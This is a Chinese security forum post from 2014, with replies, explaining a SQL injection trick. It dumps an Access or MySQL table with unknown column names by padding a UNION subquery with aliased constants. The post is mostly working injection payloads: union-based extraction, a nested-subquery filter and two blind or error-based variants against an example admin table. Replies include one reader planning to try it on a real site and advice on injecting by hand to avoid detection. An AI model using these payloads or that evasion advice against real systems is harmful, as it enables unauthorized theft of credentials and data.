一个注入小技巧:利用子查询忽略字段名

2014-11-18 00:34:01 32 2054 3


之前在乌云发过,不知非首发还算不算原创
嗯。。其实我只是需要个发帖数来看帖子,一时间想不到发什么只能发个旧的了
---------
条件:已知表名,字段名未知,数据库本身支持子查询
对付access和mysql4.0.5以上比较有用,也可以用来偷懒,比如从各种ctf的flag表里面读数据
思路:在子查询里面写针对目标表的联合查询:第一个查询以常量为每一个字段占位,同时指定别名;紧随其后的联合查询查询目标表所有字段(*);最后对这个子查询的结果集进行联合查询或盲注。
例如有注入点:
select title,time,author,content from article where id={inject here}
字段为四,已知表名admin,admin字段未知
先猜测admin表字段总数,在子查询中加入order by,999999999 为不存在的id:
select title,time,author,content from article where id=999999999 
union select 1,2,3,4 from(
      select * from admin order by 1
)
假设获得字段总数为五,构造子查询的联合查询语句并指定别名:
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 
from admin where 1=2
union select * from admin
最后对这个子查询结果集进行查询即可:
select title,time,author,content from article where id=999999999 
union select 1,2,3,
   field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5
   from(
       select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
       from admin where 1=2
       union select * from admin
   )
当数据库为access时,可以不指定别名,access为未命名的表达式自动添加别名,第一个为Expr1000,第二个为Expr1001。于是以上语句可变为:
select title,time,author,content from article where id=999999999 
union select 1 as x,2 as xx,3 as xxx,
   Expr1000&'|'&Expr1001&'|'&Expr1002&'|'&Expr1003&'|'&Expr1004 as xxxx
   from(
       select 1,2,3,4,5 from admin where 1=2
       union select * from admin
   )
注意如果原始语句中存在表达式,则这种查询方式可能不正确。

需要加条件的时候,再套一层子查询:
select title,time,author,content from article where id=999999999 
union select 1,2,3,
   field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(
      select * from (
           select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
           from admin where 1=2
           union select * from admin
      ) where field_1 not in (1)
   )
盲注的时候可以这样(用于回显不同时):
select title,time,author,content from article where id=999999999 or(
    select top 1 len(field_1) from(
        select 1 as field_1,2,3,4,5
        from admin where 1=2
        union select * from admin
    )
)>0
也可以这样(用于因多次代入无论如何都报错时,或500/200的区别时):
select title,time,author,content from article where id=999999999 or 
iif(
    (select top 1 len(field_1) from(
          select 1 as field_1,2,3,4,5
          from admin where 1=2
          union select * from admin
      )
    )>0,
    1,
    (select 2 from multi_rows_table)
)=1
需要multi_rows_table记录数大于1,mysql中可将iif换为if
最后,部分数据库需要对子查询指定别名(access不用指定所以没写)。

“妈妈再也不担心我的access注入了!”

关于作者

评论32次

要评论?请先  登录  或  注册
  • 32楼
    2015-1-11 19:35

    之前有在乌云看到过就收藏了,楼主威武

  • 31楼
    2015-1-10 22:39

    小技巧真实用

  • 30楼
    2014-12-1 18:12
    zcgonvh

    我的意思是:你本地新建个access文件,然后新建查询来测试上面的语句 在注入点测试和在access的查询里面测试其实是一样的

    1

    thx, 我试试看

  • 29楼
    2014-12-1 16:56

    我的意思是:你本地新建个access文件,然后新建查询来测试上面的语句 在注入点测试和在access的查询里面测试其实是一样的

  • 28楼
    2014-12-1 15:59
    zcgonvh

    在access里面新建个查询,把语句执行一遍就明白了

    1

    再弱弱的问下,比如我拿到一个access注入点,怎么新建查询?

  • 27楼
    2014-12-1 11:04

    在access里面新建个查询,把语句执行一遍就明白了

  • 26楼
    2014-12-1 10:40

    我怎么没看懂喃? 实例有吗?

  • 25楼
    2014-11-24 23:35

    NB的一塌胡涂,收藏先。以后遇到再说。

  • 24楼
    2014-11-24 10:11

    另:任何工具都有其局限性,所以建议在任何情况下都进行手注,之后自己编写脚本时间长了积累了多个针对特定类型的脚本或语句,之后再遇到就可以拿过来用,我自己是从来不用第三方工具的。这样好处是所有的东西都是可以自己控制的,提交数据少,被发现的几率就小了另一个好处是方便修改,比如说针对各种加密/编码注入(xor/base64/des/hex)等坏处是最开始比较麻烦,但是跟好处相比几乎不值一提

  • 23楼
    2014-11-24 10:05

    只显示id是只跑出了id字段?还是用户名等字段跑出来了但是没有值?如果是前者,参考本文所述手注如果是后者,用hex函数等进行一次编码

  • 22楼
    2014-11-24 09:50

    谢谢学习了,但是还想请教一个问题,当sqlmap可以跑出sql的数据库、表、但是跑不出用户名和密码。只显示一个id,该如何进行深入呀。

  • 21楼
    2014-11-22 16:53

    谢谢楼主分享!

  • 20楼
    2014-11-22 15:49

    赞!!刚好想起来有个access的站,去找下有没注入点尝试下楼主的技巧

  • 19楼
    2014-11-22 00:21

    看过了。

  • 18楼
    2014-11-21 23:55

    access猜不到字段的能破了~

  • 17楼
    2014-11-19 09:42

    貌似access库的站不多了。。。备用。。。!

  • 16楼
    2014-11-18 20:43

    不错顶一个

  • 15楼
    2014-11-18 19:49

    乌云是管理员说了算,不登陆就能看的帖子都是管理员设置的

  • 14楼
    2014-11-18 19:34

    在乌云还设置权限 这样不好!

  • 13楼
    2014-11-18 19:22

    不错不错,学习了思路很重要